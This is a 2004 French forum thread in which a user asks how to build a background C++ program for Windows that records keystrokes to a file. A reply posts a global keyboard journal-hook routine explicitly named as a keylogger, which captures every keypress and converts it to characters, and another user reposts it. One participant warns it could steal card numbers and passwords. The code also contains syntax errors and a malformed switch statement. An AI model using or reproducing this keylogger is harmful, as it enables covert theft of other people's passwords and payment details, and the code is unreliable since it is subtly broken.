nicodache, hyve Tuning PC : gaugo Le salon de discussion : bool@y, 1 utilisateur anonyme et 14 utilisateurs inconnus

 Mot :   Pseudo :  
 
Bas de page
Auteur Sujet :

hook clavier C++

n°1538
suxorkarl
Un pas en avant...
Posté le 29-01-2004 à 15:50:56  profilanswer
 

voila, j'aimerais faire un programme si possible en C++ sous window$ qui reste en arrière plan mais qui scrutte le clavier et qui fait une action (écrire dans un fichier) quand on appuie sur une touche. Pour ce faire il faut utiliser les hooks de windows à ce que j'ai pu comprendre. Je suis total noob en ce qui concerne le visual C++ sous windows, je suis plus C++ sous unix et j'ai un peu de mal avec ces trucs. Quelqu'un aurrait déja un projet DevC++ utilisant ce genre de truc (c'est bien devC++ ou y faut du graphique genre Delphi ou VC++ ???) pour m'en inspirer ?

mood
Google
Posté le 29-01-2004 à 15:50:56  profilanswer
 

n°1572
Vince 007 ​-
C'est mignon une souris !
Posté le 30-01-2004 à 12:25:45  profilanswer
 

Ce genre de truc, c'est pas trés légal !
 
C'est un espèce de mouchard, genre le mec qui tape son numéro de CB, ben tu le récupère dans le fichier, ou encore, les mots de passe et autre truc confidentiel !
 
Donc, désolé !


---------------
Balade moto dans la région toulousaine.
Suivre la construction d'une maison
n°1579
CryoGen
Powered by kitkat©
Posté le 30-01-2004 à 13:37:53  profilanswer
 

ca peut servir a faire une application du genre hlkeyfr aussi et ca c'est legal...


Message édité par CryoGen le 30-01-2004 à 13:38:05
n°1587
Dr Lous
I see old password
Posté le 30-01-2004 à 15:22:03  profilanswer
 

oui oui, on peut pas dire ke le hook est illégal... ;)


---------------
Oseras-tu m'affronter ?
n°1588
suxorkarl
Un pas en avant...
Posté le 30-01-2004 à 15:33:51  profilanswer
 

genre c illégal... y'a une explicaation de comment faire dans le sdk de microsoft mais c illégal... par contre je comprends rien !

n°1887
s_l__s
Posté le 18-02-2004 à 10:21:09  profilanswer
 

bon c pas tres compliqué voila en gros un exemple
pour arreter le hooking il suffit de faire g_dwIsKeyLogRun = false;
Chui pas infaillible, donc j'ai du faire des erreurs en recopiant mon code... ne pas hésiter a me demander !
 
(désolé c super mal indenté, mais on peut difficilement faire mieux dans ce mode de saisie de texte...)
 
 
// Tu cree un thread avec ta fonction de hook
g_hThread = CreateThread(NULL,0,KeyLogHookThread,NULL,0,&dwId));
 
HHOOK g_hLogHook;
HANDLE g_hThread;
DWORD g_dwIsKeyLogRun;
 
 
DWORD WINAPI KeyLogHookThread(LPVOID param)
{
  MSG      msg;
   
  // J'associe ma fonction (JournalLogProc) a TOUT et elle va intercepter les evenements
  if(( g_hLogHook = SetWindowsHookEx(WH_JOURNALRECORD,JournalLogProc,GetModuleHandle(NULL),0))!=NULL)
  {
    g_dwIsKeyLogRun = TRUE;
    while (g_dwIsKeyLogRun)
    {
      while(PeekMessage(&msg),NULL,0,0,PM_NOREMOVE))
      {
        GetMessage(&msg,NULL,0,0);
        if((msg.message==WM_CANCELJOURNAL)||(g_hLogHook == NULL))
        {
           // on réassocie
          if((g_hLogHook = SetWindowsHookEx(WH_JOURNALRECORD,JournalLogProc,GetModuleHandle(NULL),0))==NULL)
          {
            // oups.. erreur
            goto keylog_end;
          }
        }
        DispatchMessage(&msg);
      }
   // alors la t'as plusieurs solution, la meilleure serait un Sleep(0) qui passe
   // au thread suivant dans la liste des taches mais etrangement ca pourri tout le system...
   // donc un Sleep de 1 milliseconde ca passe...
      Sleep(1);
    }
   // On déassocie ma fonction
    UnhookWindowsHookEx(g_hLogHook);
  }
keylog_end:
  return 0;
}
 
 
// La tu as la fonction qui traite les evenements
LRESULT CALLBACK JournalLogProc(int code, WPARAM wParam, LPARAM lParam)
{
  EVENTMSG *pEvt;
  DWORD dwCount,dwBytes;
  char svBuffer[256];
  int vKey,nScan;
   BYTE kbuf[256];
   WORD ch;
  int chcount;
 
  if(code<0)
     return CallNextHookEx(g_hLogHook,code,wParam,lParam);
 
  if(code==HC_ACTION)
  {
    pEvt=(EVENTMSG *)lParam;
    // Ici tu peux faire un Switch avec pEvt->message pour WM_KEYDOWN, WM_KEYUP, WM_SYSCOMMAND, ...
    switch (pEvt->message == WM_KEYDOWN)
    {
     
      vKey = LOBYTE(pEvt->paramL);
      nScan = HIBYTE(pEvt->paramL);
      nScan <<= 16;
       
      // On récupère la touche
      dwCount = GetKeyNameText(nScan,svBuffer,256);  
      if(dwCount)
      {
        // Ici tu peux faire un Switch pour traiter les touches particulières
        // du style : F1-F12, Back, Enter, Ctrl, ...
        if(vKey==VK_SPACE)
        {
          svBuffer[0]=' ';
          svBuffer[1]='\0';
          dwCount=1;
        }
        if(dwCount==1)
        {
          GetKeyboardState(kbuf);
           
          chcount = ToAscii(vKey,nScan,kbuf,&ch,0);
          if(chcount>0)
          {
            // Voila, ici tu te retrouve avec ta touche ecrite dans ch
            // et de longueur chcount
          }
         else
         {
 
           // Voila, ici tu as ta touche ecrite dans 'svBuffer'
           // dans sa version 'description longue' cad que c'est un mot
           // décrivant la touche
 
        }
      }      
    }
   
  }
  return CallNextHookEx(g_hLogHook,code,wParam,lParam);
}

n°1891
MaNTA2003
Posté le 18-02-2004 à 12:30:51  profilanswer
 

Et les balises CPP, c'est pour les chiens ?? :D :D
 

Code :
  1. // Tu cree un thread avec ta fonction de hook  
  2. g_hThread = CreateThread(NULL,0,KeyLogHookThread,NULL,0,&dwId));
  3. HHOOK g_hLogHook;
  4. HANDLE g_hThread;
  5. DWORD g_dwIsKeyLogRun;
  6. DWORD WINAPI KeyLogHookThread(LPVOID param)
  7. {
  8.   MSG      msg;
  9.  
  10.   // J'associe ma fonction (JournalLogProc) a TOUT et elle va intercepter les evenements  
  11.   if(( g_hLogHook = SetWindowsHookEx(WH_JOURNALRECORD,JournalLogProc,GetModuleHandle(NULL),0))!=NULL)
  12.   {
  13.     g_dwIsKeyLogRun = TRUE;
  14.     while (g_dwIsKeyLogRun)
  15.     {
  16.       while(PeekMessage(&msg),NULL,0,0,PM_NOREMOVE))
  17.       {
  18.         GetMessage(&msg,NULL,0,0);
  19.         if((msg.message==WM_CANCELJOURNAL)||(g_hLogHook == NULL))
  20.         {
  21.            // on réassocie  
  22.           if((g_hLogHook = SetWindowsHookEx(WH_JOURNALRECORD,JournalLogProc,GetModuleHandle(NULL),0))==NULL)
  23.           {
  24.             // oups.. erreur  
  25.             goto keylog_end;
  26.           }
  27.         }
  28.         DispatchMessage(&msg);
  29.       }
  30.    // alors la t'as plusieurs solution, la meilleure serait un Sleep(0) qui passe  
  31.    // au thread suivant dans la liste des taches mais etrangement ca pourri tout le system...  
  32.    // donc un Sleep de 1 milliseconde ca passe...  
  33.       Sleep(1);
  34.     }
  35.    // On déassocie ma fonction  
  36.     UnhookWindowsHookEx(g_hLogHook);
  37.   }
  38. keylog_end:
  39.   return 0;
  40. }
  41. // La tu as la fonction qui traite les evenements  
  42. LRESULT CALLBACK JournalLogProc(int code, WPARAM wParam, LPARAM lParam)
  43. {
  44.   EVENTMSG *pEvt;
  45.   DWORD dwCount,dwBytes;
  46.   char svBuffer[256];
  47.   int vKey,nScan;
  48.    BYTE kbuf[256];
  49.    WORD ch;
  50.   int chcount;
  51.   if(code<0)
  52.      return CallNextHookEx(g_hLogHook,code,wParam,lParam);
  53.   if(code==HC_ACTION)
  54.   {
  55.     pEvt=(EVENTMSG *)lParam;
  56.     // Ici tu peux faire un Switch avec pEvt->message pour WM_KEYDOWN, WM_KEYUP, WM_SYSCOMMAND, ...  
  57.     switch (pEvt->message == WM_KEYDOWN)
  58.     {
  59.    
  60.       vKey = LOBYTE(pEvt->paramL);
  61.       nScan = HIBYTE(pEvt->paramL);
  62.       nScan <<= 16;
  63.      
  64.       // On récupère la touche  
  65.       dwCount = GetKeyNameText(nScan,svBuffer,256); 
  66.       if(dwCount)
  67.       {
  68.         // Ici tu peux faire un Switch pour traiter les touches particulières  
  69.         // du style : F1-F12, Back, Enter, Ctrl, ...  
  70.         if(vKey==VK_SPACE)
  71.         {
  72.           svBuffer[0]=' ';
  73.           svBuffer[1]='\0';
  74.           dwCount=1;
  75.         }
  76.         if(dwCount==1)
  77.         {
  78.           GetKeyboardState(kbuf);
  79.          
  80.           chcount = ToAscii(vKey,nScan,kbuf,&ch,0);
  81.           if(chcount>0)
  82.           {
  83.             // Voila, ici tu te retrouve avec ta touche ecrite dans ch  
  84.             // et de longueur chcount  
  85.           }
  86.          else
  87.          {
  88.            // Voila, ici tu as ta touche ecrite dans 'svBuffer'  
  89.            // dans sa version 'description longue' cad que c'est un mot  
  90.            // décrivant la touche  
  91.         }
  92.       }     
  93.     }
  94.  
  95.   }
  96.   return CallNextHookEx(g_hLogHook,code,wParam,lParam);
  97. }


Message édité par MaNTA2003 le 18-02-2004 à 12:31:24
mood
Google
Posté le 18-02-2004 à 12:30:51  profilanswer
 


Aller à :
Ajouter une réponse
 

Hit Parade